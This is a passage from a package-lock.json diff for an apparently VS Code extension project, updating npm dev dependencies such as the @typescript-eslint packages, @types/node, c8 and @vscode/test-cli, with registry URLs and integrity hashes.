{ "version": "2.0.6", "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", @@ -12216,9 +13339,9 @@ } }, "@types/micromatch": { - "version": "4.0.9", - "resolved": "https://registry.npmjs.org/@types/micromatch/-/micromatch-4.0.9.tgz", - "integrity": "sha512-7V+8ncr22h4UoYRLnLXSpTxjQrNUXtWHGeMPRJt1nULXI57G9bIcpyrHlmrQ7QK24EyyuXvYcSSWAM8GA9nqCg==", + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/@types/micromatch/-/micromatch-4.0.10.tgz", + "integrity": "sha512-5jOhFDElqr4DKTrTEbnW8DZ4Hz5LRUEmyrGpCMrD/NphYv3nUnaF08xmSLx1rGGnyEs/kFnhiw6dCgcDqMr5PQ==", "dev": true, "requires": { "@types/braces": "*" @@ -12246,9 +13369,9 @@ "dev": true }, "@types/node": { - "version": "20.19.9", - "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.9.tgz", - "integrity": "sha512-cuVNgarYWZqxRJDQHEB58GEONhOK79QVR/qYx4S7kcUObQvUwvFnYxJuuHUKm2aieN9X3yZB4LZsuYNU1Qphsw==", + "version": "20.19.24", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.24.tgz", + "integrity": "sha512-FE5u0ezmi6y9OZEzlJfg37mqqf6ZDSF2V/NLjUyGrR9uTZ7Sb9F7bLNZ03S4XVUNRWGA7Ck4c1kK+YnuWjl+DA==", "dev": true, "requires": { "undici-types": "~6.21.0" @@ -12286,9 +13409,9 @@ "dev": true }, "@types/semver": { - "version": "7.7.0", - "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.7.0.tgz", - "integrity": "sha512-k107IF4+Xr7UHjwDc7Cfd6PRQfbdkiRabXGRjo07b4WyPahFBZCZ1sE+BNxYIJPPg73UkfOsVOLwqVc/6ETrIA==", + "version": "7.7.1", + "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.7.1.tgz", + "integrity": "sha512-FmgJfu+MOcQ370SD0ev7EI8TlCAfKYU+B4m5T3yXc1CiRN94g/SZPtsCkk506aUDtlMnFZvasDwHHUcZUEaYuA==", "dev": true }, "@types/sinon": { @@ -12316,6 +13439,45 @@ "integrity": "sha512-mQkU2jY8jJEF7YHjHvsQO8+3ughTL1mcnn96igfhONmR+fUPSKIkefQYpSe8bsly2Ep7oQbn/6VG5/9/0qcArQ==", "dev": true }, + "@types/source-map-support": { + "version": "0.5.10", + "resolved": "https://registry.npmjs.org/@types/source-map-support/-/source-map-support-0.5.10.tgz", + "integrity": "sha512-tgVP2H469x9zq34Z0m/fgPewGhg/MLClalNOiPIzQlXrSS2YrKu/xCdSCKnEDwkFha51VKEKB6A9wW26/ZNwzA==", + "dev": true, + "requires": { + "source-map": "^0.6.0" + } + }, + "@types/svg2ttf": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/@types/svg2ttf/-/svg2ttf-5.0.3.tgz", + "integrity": "sha512-hL+/A4qMISvDbDTtdY73R0zuvsdc7YRYnV5FyAfKVGk8OsluXu/tCFxop7IB5Sgr+ZCS0hHtFxylD0REmm+abA==", + "dev": true + }, + "@types/svgicons2svgfont": { + "version": "10.0.5", + "resolved": "https://registry.npmjs.org/@types/svgicons2svgfont/-/svgicons2svgfont-10.0.5.tgz", + "integrity": "sha512-7BUT1sEFSNBIcc0wlwKn2l3l3OnYJdjsrlruDbAp6hpOK3HbpgMjLVH4ql6xXwD+qYy+XEHrb2EMkIpo9kWZ+Q==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@types/triple-beam": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/@types/triple-beam/-/triple-beam-1.3.5.tgz", + "integrity": "sha512-6WaYesThRMCl19iryMYP7/x2OVgCtbIVflDGFpWnb9irXI3UjYE4AzmYuiUKY1AJstGijoY+MgUszMgRxIYTYw==", + "dev": true + }, + "@types/ttf2woff": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@types/ttf2woff/-/ttf2woff-2.0.4.tgz", + "integrity": "sha512-pD66iwSkU5lIMWWTz5sxIMjwM7/qs/EYgE01vqu5C3S1izONHiF1GRy2dWvlKMlC39TfZszP7+OVXgVk3BccOg==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, "@types/vscode": { "version": "1.89.0", "resolved": "https://registry.npmjs.org/@types/vscode/-/vscode-1.89.0.tgz", @@ -12332,16 +13494,16 @@ } }, "@typescript-eslint/eslint-plugin": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.38.0.tgz", - "integrity": "sha512-CPoznzpuAnIOl4nhj4tRr4gIPj5AfKgkiJmGQDaq+fQnRJTYlcBjbX3wbciGmpoPf8DREufuPRe1tNMZnGdanA==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.46.3.tgz", + "integrity": "sha512-sbaQ27XBUopBkRiuY/P9sWGOWUW4rl8fDoHIUmLpZd8uldsTyB4/Zg6bWTegPoTLnKj9Hqgn3QD6cjPNB32Odw==", "dev": true, "requires": { "@eslint-community/regexpp": "^4.10.0", - "@typescript-eslint/scope-manager": "8.38.0", - "@typescript-eslint/type-utils": "8.38.0", - "@typescript-eslint/utils": "8.38.0", - "@typescript-eslint/visitor-keys": "8.38.0", + "@typescript-eslint/scope-manager": "8.46.3", + "@typescript-eslint/type-utils": "8.46.3", + "@typescript-eslint/utils": "8.46.3", + "@typescript-eslint/visitor-keys": "8.46.3", "graphemer": "^1.4.0", "ignore": "^7.0.0", "natural-compare": "^1.4.0", @@ -12357,75 +13519,75 @@ } }, "@typescript-eslint/parser": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.38.0.tgz", - "integrity": "sha512-Zhy8HCvBUEfBECzIl1PKqF4p11+d0aUJS1GeUiuqK9WmOug8YCmC4h4bjyBvMyAMI9sbRczmrYL5lKg/YMbrcQ==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.46.3.tgz", + "integrity": "sha512-6m1I5RmHBGTnUGS113G04DMu3CpSdxCAU/UvtjNWL4Nuf3MW9tQhiJqRlHzChIkhy6kZSAQmc+I1bcGjE3yNKg==", "dev": true, "requires": { - "@typescript-eslint/scope-manager": "8.38.0", - "@typescript-eslint/types": "8.38.0", - "@typescript-eslint/typescript-estree": "8.38.0", - "@typescript-eslint/visitor-keys": "8.38.0", + "@typescript-eslint/scope-manager": "8.46.3", + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/typescript-estree": "8.46.3", + "@typescript-eslint/visitor-keys": "8.46.3", "debug": "^4.3.4" } }, "@typescript-eslint/project-service": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.38.0.tgz", - "integrity": "sha512-dbK7Jvqcb8c9QfH01YB6pORpqX1mn5gDZc9n63Ak/+jD67oWXn3Gs0M6vddAN+eDXBCS5EmNWzbSxsn9SzFWWg==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.46.3.tgz", + "integrity": "sha512-Fz8yFXsp2wDFeUElO88S9n4w1I4CWDTXDqDr9gYvZgUpwXQqmZBr9+NTTql5R3J7+hrJZPdpiWaB9VNhAKYLuQ==", "dev": true, "requires": { - "@typescript-eslint/tsconfig-utils": "^8.38.0", - "@typescript-eslint/types": "^8.38.0", + "@typescript-eslint/tsconfig-utils": "^8.46.3", + "@typescript-eslint/types": "^8.46.3", "debug": "^4.3.4" } }, "@typescript-eslint/scope-manager": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.38.0.tgz", - "integrity": "sha512-WJw3AVlFFcdT9Ri1xs/lg8LwDqgekWXWhH3iAF+1ZM+QPd7oxQ6jvtW/JPwzAScxitILUIFs0/AnQ/UWHzbATQ==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.46.3.tgz", + "integrity": "sha512-FCi7Y1zgrmxp3DfWfr+3m9ansUUFoy8dkEdeQSgA9gbm8DaHYvZCdkFRQrtKiedFf3Ha6VmoqoAaP68+i+22kg==", "dev": true, "requires": { - "@typescript-eslint/types": "8.38.0", - "@typescript-eslint/visitor-keys": "8.38.0" + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/visitor-keys": "8.46.3" } }, "@typescript-eslint/tsconfig-utils": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.38.0.tgz", - "integrity": "sha512-Lum9RtSE3EroKk/bYns+sPOodqb2Fv50XOl/gMviMKNvanETUuUcC9ObRbzrJ4VSd2JalPqgSAavwrPiPvnAiQ==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.46.3.tgz", + "integrity": "sha512-GLupljMniHNIROP0zE7nCcybptolcH8QZfXOpCfhQDAdwJ/ZTlcaBOYebSOZotpti/3HrHSw7D3PZm75gYFsOA==", "dev": true, "requires": {} }, "@typescript-eslint/type-utils": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.38.0.tgz", - "integrity": "sha512-c7jAvGEZVf0ao2z+nnz8BUaHZD09Agbh+DY7qvBQqLiz8uJzRgVPj5YvOh8I8uEiH8oIUGIfHzMwUcGVco/SJg==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.46.3.tgz", + "integrity": "sha512-ZPCADbr+qfz3aiTTYNNkCbUt+cjNwI/5McyANNrFBpVxPt7GqpEYz5ZfdwuFyGUnJ9FdDXbGODUu6iRCI6XRXw==", "dev": true, "requires": { - "@typescript-eslint/types": "8.38.0", - "@typescript-eslint/typescript-estree": "8.38.0", - "@typescript-eslint/utils": "8.38.0", + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/typescript-estree": "8.46.3", + "@typescript-eslint/utils": "8.46.3", "debug": "^4.3.4", "ts-api-utils": "^2.1.0" } }, "@typescript-eslint/types": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.38.0.tgz", - "integrity": "sha512-wzkUfX3plUqij4YwWaJyqhiPE5UCRVlFpKn1oCRn2O1bJ592XxWJj8ROQ3JD5MYXLORW84063z3tZTb/cs4Tyw==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.46.3.tgz", + "integrity": "sha512-G7Ok9WN/ggW7e/tOf8TQYMaxgID3Iujn231hfi0Pc7ZheztIJVpO44ekY00b7akqc6nZcvregk0Jpah3kep6hA==", "dev": true }, "@typescript-eslint/typescript-estree": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.38.0.tgz", - "integrity": "sha512-fooELKcAKzxux6fA6pxOflpNS0jc+nOQEEOipXFNjSlBS6fqrJOVY/whSn70SScHrcJ2LDsxWrneFoWYSVfqhQ==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.46.3.tgz", + "integrity": "sha512-f/NvtRjOm80BtNM5OQtlaBdM5BRFUv7gf381j9wygDNL+qOYSNOgtQ/DCndiYi80iIOv76QqaTmp4fa9hwI0OA==", "dev": true, "requires": { - "@typescript-eslint/project-service": "8.38.0", - "@typescript-eslint/tsconfig-utils": "8.38.0", - "@typescript-eslint/types": "8.38.0", - "@typescript-eslint/visitor-keys": "8.38.0", + "@typescript-eslint/project-service": "8.46.3", + "@typescript-eslint/tsconfig-utils": "8.46.3", + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/visitor-keys": "8.46.3", "debug": "^4.3.4", "fast-glob": "^3.3.2", "is-glob": "^4.0.3", @@ -12455,24 +13617,24 @@ } }, "@typescript-eslint/utils": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.38.0.tgz", - "integrity": "sha512-hHcMA86Hgt+ijJlrD8fX0j1j8w4C92zue/8LOPAFioIno+W0+L7KqE8QZKCcPGc/92Vs9x36w/4MPTJhqXdyvg==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.46.3.tgz", + "integrity": "sha512-VXw7qmdkucEx9WkmR3ld/u6VhRyKeiF1uxWwCy/iuNfokjJ7VhsgLSOTjsol8BunSw190zABzpwdNsze2Kpo4g==", "dev": true, "requires": { "@eslint-community/eslint-utils": "^4.7.0", - "@typescript-eslint/scope-manager": "8.38.0", - "@typescript-eslint/types": "8.38.0", - "@typescript-eslint/typescript-estree": "8.38.0" + "@typescript-eslint/scope-manager": "8.46.3", + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/typescript-estree": "8.46.3" } }, "@typescript-eslint/visitor-keys": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.38.0.tgz", - "integrity": "sha512-pWrTcoFNWuwHlA9CvlfSsGWs14JxfN1TH25zM5L7o0pRLhsoZkDnTsXfQRJBEWJoV5DL0jf+Z+sxiud+K0mq1g==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.46.3.tgz", + "integrity": "sha512-uk574k8IU0rOF/AjniX8qbLSGURJVUCeM5e4MIMKBFFi8weeiLrG1fyQejyLXQpRZbU/1BuQasleV/RfHC3hHg==", "dev": true, "requires": { - "@typescript-eslint/types": "8.38.0", + "@typescript-eslint/types": "8.46.3", "eslint-visitor-keys": "^4.2.1" }, "dependencies": { @@ -12491,9 +13653,9 @@ "dev": true }, "@vscode/codicons": { - "version": "0.0.38", - "resolved": "https://registry.npmjs.org/@vscode/codicons/-/codicons-0.0.38.tgz", - "integrity": "sha512-g4uInb63ECu0URD0DlyBzwXu2TksWUOaMSzQcKRoc3mXSNrjR3wC7EB3PA0Iq83eK8KCEKoVzkC1clt/r1euqA==" + "version": "0.0.41", + "resolved": "https://registry.npmjs.org/@vscode/codicons/-/codicons-0.0.41.tgz", + "integrity": "sha512-v6/8nx76zau3Joxjzi3eN/FVw+7jKBq4j7LTZY5FhFhq2g0OoFebZ3vRZbv/pUopGpbCnJJ4FOz+NzbjVsmoiw==" }, "@vscode/debugprotocol": { "version": "1.68.0", @@ -12502,50 +13664,31 @@ "dev": true }, "@vscode/test-cli": { - "version": "0.0.11", - "resolved": "https://registry.npmjs.org/@vscode/test-cli/-/test-cli-0.0.11.tgz", - "integrity": "sha512-qO332yvzFqGhBMJrp6TdwbIydiHgCtxXc2Nl6M58mbH/Z+0CyLR76Jzv4YWPEthhrARprzCRJUqzFvTHFhTj7Q==", + "version": "0.0.12", + "resolved": "https://registry.npmjs.org/@vscode/test-cli/-/test-cli-0.0.12.tgz", + "integrity": "sha512-iYN0fDg29+a2Xelle/Y56Xvv7Nc8Thzq4VwpzAF/SIE6918rDicqfsQxV6w1ttr2+SOm+10laGuY9FG2ptEKsQ==", "dev": true, "requires": { - "@types/mocha": "^10.0.2", - "c8": "^9.1.0", - "chokidar": "^3.5.3", - "enhanced-resolve": "^5.15.0", + "@types/mocha": "^10.0.10", + "c8": "^10.1.3", + "chokidar": "^3.6.0", + "enhanced-resolve": "^5.18.3", "glob": "^10.3.10", "minimatch": "^9.0.3", - "mocha": "^11.1.0", - "supports-color": "^9.4.0", + "mocha": "^11.7.4", + "supports-color": "^10.2.2", "yargs": "^17.7.2" }, "dependencies": { "brace-expansion": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", - "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", "dev": true, "requires": { "balanced-match": "^1.0.0" } }, - "c8": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/c8/-/c8-9.1.0.tgz", - "integrity": "sha512-mBWcT5iqNir1zIkzSPyI3NCR9EZCVI3WUD+AVO17MVWTSFNyUueXE82qTeampNtTr+ilN/5Ua3j24LgbCKjDVg==", - "dev": true, - "requires": { - "@bcoe/v8-coverage": "^0.2.3", - "@istanbuljs/schema": "^0.1.3", - "find-up": "^5.0.0", - "foreground-child": "^3.1.1", - "istanbul-lib-coverage": "^3.2.0", - "istanbul-lib-report": "^3.0.1", - "istanbul-reports": "^3.1.6", - "test-exclude": "^6.0.0", - "v8-to-istanbul": "^9.0.0", - "yargs": "^17.7.2", - "yargs-parser": "^21.1.1" - } - }, "glob": { "version": "10.4.5", "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", @@ -12570,56 +13713,10 @@ } }, "supports-color": { - "version": "9.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-9.4.0.tgz", - "integrity": "sha512-VL+lNrEoIXww1coLPOmiEmK/0sGigko5COxI09KzHc2VJXJsQ37UaQ+8quuxjDeA7+KnLGTWRyOXSLLR2Wb4jw==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-10.2.2.tgz", + "integrity": "sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g==", "dev": true - }, - "test-exclude": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", - "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", - "dev": true, - "requires": { - "@istanbuljs/schema": "^0.1.2", - "glob": "^7.1.4", - "minimatch": "^3.0.4" - }, - "dependencies": { - "brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "dev": true, - "requires": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "glob": { - "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.1.1", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - } - } } } }, @@ -12637,16 +13734,16 @@ } }, "@vscode/vsce": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/@vscode/vsce/-/vsce-3.6.0.tgz", - "integrity": "sha512-u2ZoMfymRNJb14aHNawnXJtXHLXDVKc1oKZaH4VELKT/9iWKRVgtQOdwxCgtwSxJoqYvuK4hGlBWQJ05wxADhg==", + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/@vscode/vsce/-/vsce-3.6.2.tgz", + "integrity": "sha512-gvBfarWF+Ii20ESqjA3dpnPJpQJ8fFJYtcWtjwbRADommCzGg1emtmb34E+DKKhECYvaVyAl+TF9lWS/3GSPvg==", "dev": true, "requires": { "@azure/identity": "^4.1.0", - "@secretlint/node": "^10.1.1", - "@secretlint/secretlint-formatter-sarif": "^10.1.1", - "@secretlint/secretlint-rule-no-dotenv": "^10.1.1", - "@secretlint/secretlint-rule-preset-recommend": "^10.1.1", + "@secretlint/node": "^10.1.2", + "@secretlint/secretlint-formatter-sarif": "^10.1.2", + "@secretlint/secretlint-rule-no-dotenv": "^10.1.2", + "@secretlint/secretlint-rule-preset-recommend": "^10.1.2", "@vscode/vsce-sign": "^2.0.0", "azure-devops-node-api": "^12.5.0", "chalk": "^4.1.2", @@ -12664,7 +13761,7 @@ "minimatch": "^3.0.3", "parse-semver": "^1.1.1", "read": "^1.0.7", - "secretlint": "^10.1.1", + "secretlint": "^10.1.2", "semver": "^7.5.2", "tmp": "^0.2.3", "typed-rest-client": "^1.8.4", @@ -12839,20 +13936,12 @@ } }, "ansi-escapes": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", - "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-7.1.1.tgz", + "integrity": "sha512-Zhl0ErHcSRUaVfGUeUdDuLgpkEo8KIFjB4Y9uAc46ScOpdDiU1Dbyplh7qWJeJ/ZHpbyMSM26+X3BySgnIz40Q==", "dev": true, "requires": { - "type-fest": "^0.21.3" - }, - "dependencies": { - "type-fest": { - "version": "0.21.3", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", - "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", - "dev": true - } + "environment": "^1.0.0" } }, "ansi-regex": { @@ -12869,9 +13958,9 @@ } }, "anymatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", - "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", "dev": true, "requires": { "normalize-path": "^3.0.0", @@ -12879,9 +13968,9 @@ } }, "aproba": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.0.0.tgz", - "integrity": "sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz", + "integrity": "sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==", "dev": true }, "archiver": { @@ -13113,9 +14202,9 @@ "dev": true }, "binary-extensions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", - "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", "dev": true }, "binaryextensions": { @@ -13181,9 +14270,9 @@ "dev": true }, "brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", "dev": true, "requires": { "balanced-match": "^1.0.0", @@ -13282,6 +14371,25 @@ } } }, + "c8": { + "version": "10.1.3", + "resolved": "https://registry.npmjs.org/c8/-/c8-10.1.3.tgz", + "integrity": "sha512-LvcyrOAaOnrrlMpW22n690PUvxiq4Uf9WMhQwNJ9vgagkL/ph1+D4uvjvDA5XCbykrc0sx+ay6pVi9YZ1GnhyA==", + "dev": true, + "requires": { + "@bcoe/v8-coverage": "^1.0.1", + "@istanbuljs/schema": "^0.1.3", + "find-up": "^5.0.0", + "foreground-child": "^3.1.1", + "istanbul-lib-coverage": "^3.2.0", + "istanbul-lib-report": "^3.0.1", + "istanbul-reports": "^3.1.6", + "test-exclude": "^7.0.1", + "v8-to-istanbul": "^9.0.0", + "yargs": "^17.7.2", + "yargs-parser": "^21.1.1" + } + }, "cacache": { "version": "16.1.3", "resolved": "https://registry.npmjs.org/cacache/-/cacache-16.1.3.tgz", @@ -13309,9 +14417,9 @@ }, "dependencies": { "brace-expansion": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", - "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", "dev": true, "requires": { "balanced-match": "^1.0.0" @@ -13400,17 +14508,32 @@ "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", "dev": true }, + "camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dev": true, + "requires": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, "camelcase": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", "dev": true }, - "case": { - "version": "1.6.3", - "resolved": "https://registry.npmjs.org/case/-/case-1.6.3.tgz", - "integrity": "sha512-mzDSXIPaFwVDvZAHqZ9VlbyF4yyXRuX6IvB06WvPYkqJVO24kX1PPhv9bfpKNFZyxYFmmgo03HUiD8iklmJYRQ==", - "dev": true + "capital-case": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/capital-case/-/capital-case-1.0.4.tgz", + "integrity": "sha512-ds37W8CytHgwnhGGTi88pcPyR15qoNkOpYwmMMfnWqqWgESapLqvDx6huFjQ5vqWSn2Z06173XNA7LtMOeUh1A==", + "dev": true, + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3", + "upper-case-first": "^2.0.2" + } }, "chai": { "version": "4.5.0", @@ -13452,6 +14575,26 @@ "supports-color": "^7.1.0" } }, + "change-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/change-case/-/change-case-4.1.2.tgz", + "integrity": "sha512-bSxY2ws9OtviILG1EiY5K7NNxkqg/JnRnFxLtKQ96JaviiIxi7djMrSd0ECT9AC+lttClmYwKw53BWpOMblo7A==", + "dev": true, + "requires": { + "camel-case": "^4.1.2", + "capital-case": "^1.0.4", + "constant-case": "^3.0.4", + "dot-case": "^3.0.4", + "header-case": "^2.0.4", + "no-case": "^3.0.4", + "param-case": "^3.0.4", + "pascal-case": "^3.1.2", + "path-case": "^3.0.4", + "sentence-case": "^3.0.4", + "snake-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, "check-error": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.3.tgz", @@ -13490,9 +14633,9 @@ } }, "chokidar": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", - "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", + "integrity": 